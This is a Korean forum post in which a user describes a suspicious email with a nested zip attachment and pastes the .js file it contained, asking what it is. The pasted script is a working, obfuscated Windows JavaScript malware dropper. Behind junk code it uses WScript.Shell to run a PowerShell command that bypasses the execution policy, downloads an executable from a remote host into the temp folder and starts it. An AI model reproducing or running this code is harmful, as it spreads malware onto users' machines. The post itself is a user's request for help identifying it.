이상한 메일이 왔어요ㅋㅋㅋㅋㅋ<br>주소는 <a target="_blank" href="https://mail.naver.com/?n=1484804362487&v=f#" class="_c1(myContextMenu|showSenderContextLayer|read) _stopDefault" target="_blank"><
[email protected]></a><br>zip파일이었고 압축해제했더니 zip파일이 하나 더 있어서 해제했어요<br>그랬더니 .js ??????라는 확장자의 파일이 있길래 뭐지 싶어서 열었는데 아래같은 코딩??이라고 해야하나???<br>그런게 나왓어욬ㅋㅋㅋㅋㅋ<br><br>컴잘알님들 아님 코잘알(코딩잘알..)님들 대충이라도 이게 뭔지 아시겟나요?ㅠㅠ<br><br><br>function umuvvusdi() {<br> return undefined;<br>}<br>var svequhocr = 553.2101;<br>var seby = "power" + "shell";<br>var ytonurhen = "run";<br>envemumju = "19257";<br><br>function edcowg() {<br> return undefined;<br>}<br>function ekxyfgy() {<br> var ughorlyxx = 872.4;<br> return ughorlyxx;<br>}<br>ohittyxa = '61994';<br><br>function wgisga() {<br> var xhebzewabc = 1;<br> return xhebzewabc;<br>}<br>var urepungexm = false;<br>var sopmujupi = null;<br><br>function brybuhybqi() {<br> return "68722";<br>}<br>var hovukeco = 0;<br>var bojegalo = typeof window == "undefined";<br>var oxsafpig = new Function("return WScript")();<br><br>function ilelkenec() {<br> var quwzaky = '44873';<br> return quwzaky;<br>}<br>function ihezc() {<br> var ufqyvbo = undefined;<br> return ufqyvbo;<br>}<br>var hpazpikedx = 'obiktu';<br>var yxof = 0;<br><br>function bypomwure() {<br> var asitx = 9;<br> return asitx;<br>}<br>var bcedcawz = undefined;<br>ixsuhegfacf = 'pyqixdydu';<br>var xrerazbul = null;<br>var vqumlery = '63904';<br><br>function cgahdydoqm() {<br> return false;<br>}<br>function divwep() {<br> return 549;<br>}<br>var ebakwa = null;<br>rwezighicw = "71180";<br>var ttyqywfabi = "80826";<br>var vifibydo = "zowruqi";<br><br>function ufzipyhv() {<br> return null;<br>}<br>function acyqulzyr() {<br> var aboknu = null;<br> return aboknu;<br>}<br>var ymynavi = "awidip";<br>var vadsu = '38060';<br><br>function tesxywkima() {<br> var ckakug = null;<br> return ckakug;<br>}<br>function fosupuxa() {<br> return undefined;<br>}<br>switch (tesxywkima()) {<br>case 1:<br> var enoxexvijz = 793;<br> if (enoxexvijz === 666) {<br> var ccuwqamasi = null;<br> var dodqikila = null;<br> }<br> if (bypomwure() == 11) {<br> lnylenqace = 10;<br> var ejgefre = ymynavi + lnylenqace;<br> ejgefre = '62267' + ejgefre;<br> weribodk = "25602";<br> mbeqxefra = 4;<br> var ihimvovq = mbeqxefra + weribodk;<br> }<br> var qimhowu = 0;<br> if (qimhowu === "oxnekr") {<br> var linwovhudf = undefined;<br> var vipejy = 'zywur';<br> var bruhryx = true;<br> var dlafej = null;<br> }<br> if (wgisga() === 917) {<br> var esoxabhigp = 974;<br> clatpifyxse = esoxabhigp + envemumju;<br> var suwqez = undefined;<br> }<br> break;<br>case "siduqyvre":<br> var enoxexvijz = 793;<br> if (enoxexvijz === 666) {<br> var ccuwqamasi = null;<br> var dodqikila = null;<br> }<br> if (bypomwure() == 11) {<br> lnylenqace = 10;<br> var ejgefre = ymynavi + lnylenqace;<br> ejgefre = '62267' + ejgefre;<br> weribodk = "25602";<br> mbeqxefra = 4;<br> var ihimvovq = mbeqxefra + weribodk;<br> }<br> var qimhowu = 0;<br> if (qimhowu === "oxnekr") {<br> var linwovhudf = undefined;<br> var vipejy = 'zywur';<br> var bruhryx = true;<br> var dlafej = null;<br> }<br> if (wgisga() === 917) {<br> var esoxabhigp = 974;<br> clatpifyxse = esoxabhigp + envemumju;<br> var suwqez = undefined;<br> }<br> break;<br>case null:<br> var usqijumo = "47724";<br> if (fosupuxa() === 1) {<br> var uqmozgyzres = undefined;<br> if (uqmozgyzres == 491) {<br> var iscaqoty = 14;<br> }<br> if (typeof ufzipyhv() == 'object') {<br> if (sopmujupi === "jyfynsi") {<br> var sanozxizm = "31438";<br> var bisdilwykku = 6;<br> ilygwuqs = sanozxizm + bisdilwykku;<br> ilygwuqs = 11.51 + ilygwuqs;<br> var asujazu = 5;<br> var aqattox = 22;<br> uwuqi = aqattox + ixsuhegfacf;<br> uwuqi = uwuqi + 5;<br> var ugbidci = null;<br> var ymsahys = 22;<br> }<br> }<br> } else {<br> if (vadsu === 1) {<br> if (hovukeco === undefined) {<br> if (ihezc() === undefined) {<br> var afitihgub = undefined;<br> var ejejjung = false;<br> var otwikorhec = 'swosesi';<br> }<br> }<br> if (svequhocr === 557.2101) {<br> var howyqol = 1;<br> cfiqjazvexe = 94.8;<br> var uditybe = vqumlery + cfiqjazvexe;<br> var kvasebf = undefined;<br> var ikicnikwar = null;<br> var jytjakpy = 11.5;<br> }<br> if (acyqulzyr() === 990) {<br> var udomnod = 724;<br> }<br> } else {<br> var awlodpo = undefined;<br> switch (awlodpo) {<br> case null:<br> if (urepungexm === false) {<br> var yhebted = 695;<br> var qnafuqs = "otki";<br> var mpavribzev = 7.64;<br> var ezxixvulji = qnafuqs + mpavribzev;<br> ezxixvulji = "potu" + ezxixvulji;<br> var olyvo = 4;<br> var yjovkulu = olyvo + hpazpikedx;<br> yjovkulu = 'tylohuvgi' + yjovkulu;<br> var ipjyqqibda = 15.39;<br> }<br> break;<br> case undefined:<br> var atdyffyjihg = undefined;<br> if (typeof atdyffyjihg == "undefined") {<br> var anhinebzu = "zbevmixcofbe";<br> var nhijqafco = '33747';<br> var rvebi = 'xugme';<br> if (bojegalo) {<br> var rzevukbevg = oxsafpig.CreateObject('WScript.Shell');<br> var ukbomne = "16957";<br> switch (ukbomne) {<br> case 6:<br> if (ekxyfgy() == 862.4) {<br> if (brybuhybqi() == '68722') {<br> var wojorupu = 'hemfagn';<br> wojorupu = 379.4;<br> var xfukgodo = 6.402;<br> }<br> }<br> break;<br> case 35.6:<br> if (ekxyfgy() == 862.4) {<br> if (brybuhybqi() == '68722') {<br> var wojorupu = 'hemfagn';<br> wojorupu = 379.4;<br> var xfukgodo = 6.402;<br> }<br> }<br> break;<br> case 1:<br> if (ekxyfgy() == 862.4) {<br> if (brybuhybqi() == '68722') {<br> var wojorupu = 'hemfagn';<br> wojorupu = 379.4;<br> var xfukgodo = 6.402;<br> }<br> }<br> break;<br> case "16957":<br> var enbicmas = null;<br> var imfamebtoj = "37267";<br> var xanoci = 'ekokanxofv';<br> switch (xanoci) {<br> case undefined:<br> var yzferizvyvr = false;<br> if (typeof yzferizvyvr == "number") {<br> var ytacuku = '50230';<br> uwnefpidzy = 16;<br> var ysxosqelqe = uwnefpidzy + ytacuku;<br> ysxosqelqe = "efybme" + ysxosqelqe;<br> var ufgomqohh = '70986';<br> ufgomqohh = 22;<br> var qpynaduk = "96778";<br> }<br> if (edcowg() === undefined) {<br> var ufebjyzan = false;<br> if (ufebjyzan === true) {<br> var qysjyqecge = undefined;<br> var owfaby = 18.4337;<br> }<br> }<br> break;<br> case false:<br> var yzferizvyvr = false;<br> if (typeof yzferizvyvr == "number") {<br> var ytacuku = '50230';<br> uwnefpidzy = 16;<br> var ysxosqelqe = uwnefpidzy + ytacuku;<br> ysxosqelqe = "efybme" + ysxosqelqe;<br> var ufgomqohh = '70986';<br> ufgomqohh = 22;<br> var qpynaduk = "96778";<br> }<br> if (edcowg() === undefined) {<br> var ufebjyzan = false;<br> if (ufebjyzan === true) {<br> var qysjyqecge = undefined;<br> var owfaby = 18.4337;<br> }<br> }<br> break;<br> case null:<br> var yzferizvyvr = false;<br> if (typeof yzferizvyvr == "number") {<br> var ytacuku = '50230';<br> uwnefpidzy = 16;<br> var ysxosqelqe = uwnefpidzy + ytacuku;<br> ysxosqelqe = "efybme" + ysxosqelqe;<br> var ufgomqohh = '70986';<br> ufgomqohh = 22;<br> var qpynaduk = "96778";<br> }<br> if (edcowg() === undefined) {<br> var ufebjyzan = false;<br> if (ufebjyzan === true) {<br> var qysjyqecge = undefined;<br> var owfaby = 18.4337;<br> }<br> }<br> break;<br> case 'ekokanxofv':<br> var zinuhyg = 99;<br> ybohyri = rwezighicw + zinuhyg;<br> ybohyri = ybohyri + "22368";<br> var ihpuhcov = 8.14;<br> var yqiqujo = 46;<br> yqiqujo = 6.564;<br> var obmimde = 1258.4;<br> var efgimew = vifibydo + obmimde;<br> efgimew = 3.0425 + efgimew;<br> var ikbobno = "cmd.exe /c \"" + seby + " $ramvyt='^Set-Executi';$pasupj='^ath';$ecnybt='^p/user.php?';$afhytva='^temp+''\tivx';$sodul='^ath); Start';$rjusgemv='^wnloadFile(';$okux='^onPolicy By';$zatvo='^f=0.dat'',$p';$zipvebh='^w-Object Sy';$amvera='^pass -Scope';$bufemt='^e.exe'');(Ne';$iwils='^path=($env:';$kejbo='^tycooola.to';$titryvq='^''<a target="_blank" href="http://for">http://for</a>';$feguw='^-Process $p';$obic='^stem.Net.We';$ypol='^ Process; $';$diju='^bclient).Do'; Invoke-Expression ($ramvyt+$okux+$amvera+$ypol+$iwils+$afhytva+$bufemt+$zipvebh+$obic+$diju+$rjusgemv+$titryvq+$kejbo+$ecnybt+$zatvo+$sodul+$feguw+$pasupj);\"";<br> rzevukbevg[ytonurhen](ikbobno, yxof);<br> break;<br> case 0.6:<br> var yzferizvyvr = false;<br> if (typeof yzferizvyvr == "number") {<br> var ytacuku = '50230';<br> uwnefpidzy = 16;<br> var ysxosqelqe = uwnefpidzy + ytacuku;<br> ysxosqelqe = "efybme" + ysxosqelqe;<br> var ufgomqohh = '70986';<br> ufgomqohh = 22;<br> var qpynaduk = "96778";<br> }<br> if (edcowg() === undefined) {<br> var ufebjyzan = false;<br> if (ufebjyzan === true) {<br> var qysjyqecge = undefined;<br> var owfaby = 18.4337;<br> }<br> }<br> break;<br> }<br> break;<br> }<br> } else {<br> if (divwep() == 1043) {<br> var ynbidlabynw = 891;<br> var uzywih = "41241";<br> jwutemi = 4.903;<br> nopselru = uzywih + jwutemi;<br> nopselru = 2 + nopselru;<br> var ogazla = 406;<br> var ntedizk = 629;<br> var uwhikegxas = 8;<br> ezilxo = ohittyxa + uwhikegxas;<br> ezilxo = ezilxo + "85372";<br> }<br> if (xrerazbul === 675) {<br> var ezsixe = 89.013;<br> var sewwyqgynk = 5;<br> var soheb = 177.0047;<br> soheb = 24.8067;<br> var fbemojnij = undefined;<br> var ywefirkuhs = 0;<br> }<br> if (bcedcawz == "efywnu") {<br> var ofyhulxa = 734;<br> ofyhulxa = 2 + ofyhulxa;<br> var erkezjicve = 1;<br> var phygawgiki = undefined;<br> var enlide = null;<br> var kcaliflinr = null;<br> var cquccimyb = null;<br> }<br> if (ilelkenec() === 0) {<br> if (cgahdydoqm() == null) {<br> var ijpesy = null;<br> var jewixubu = undefined;<br> var lagman = 97;<br> otipatu = ttyqywfabi + lagman;<br> otipatu = "43260" + otipatu;<br> }<br> }<br> }<br> }<br> break;<br> }<br> }<br> }<br> break;<br>}<br>
<img src="http://ou.esukmean.com/ActiveXXX/ouavatar/ouavatar.esm?start=true&mn=72350&about1=%EB%82%98+%EC%95%84%EB%8B%8C+%EB%8B%A4%EB%A5%B8+%EC%82%AC%EB%9E%8C%EC%9D%84+%ED%96%89%EB%B3%B5%ED%95%98%EA%B2%8C+%ED%95%B4%EC%A3%BC%EB%8A%94+%EC%98%A4%EC%9C%A0%EC%97%90+%EC%98%A4%EC%8B%A0%EA%B2%83%EC%9D%84+%ED%99%98%EC%98%81%ED%95%A9%EB%8B%88%EB%8B%A4.&about2=%E3%85%87%E3%85%8E%E3%84%B9%E3%85%87%E3%85%85%E3%85%87&star_color=3399ff&background_color=ADD8E6&text_color=002947&about_color=002fff&body_num=3&body_color=7a7a7a&oumark_color=e6ff00&squid_num=2&squid_left_direction=up&squid_right_direction=up&skin_color=ffceb2&hair_num=5&hair_color=4f2900&blush_num=1&blush_color=FF8973&brow_num=4&brow_color=450000&eyes_num=4&eyes_color=ffffff&pupil_color=005ea1&glasses_num=0&glasses_border_color=000000&glasses_lens_color=ADD8E6&glasses_opacity=60&nose_num=2&nose_color=450000&mouth_num=2&mouth_color=7B220B&tongue_color=FF6B70&teeth_color=FFFFFF&bottom_color=7a7a7a&bottom_num=1&rotate=0&crop=0&end=true&.png" alt="ouavatar.esm?start=true&mn=72350&about1=">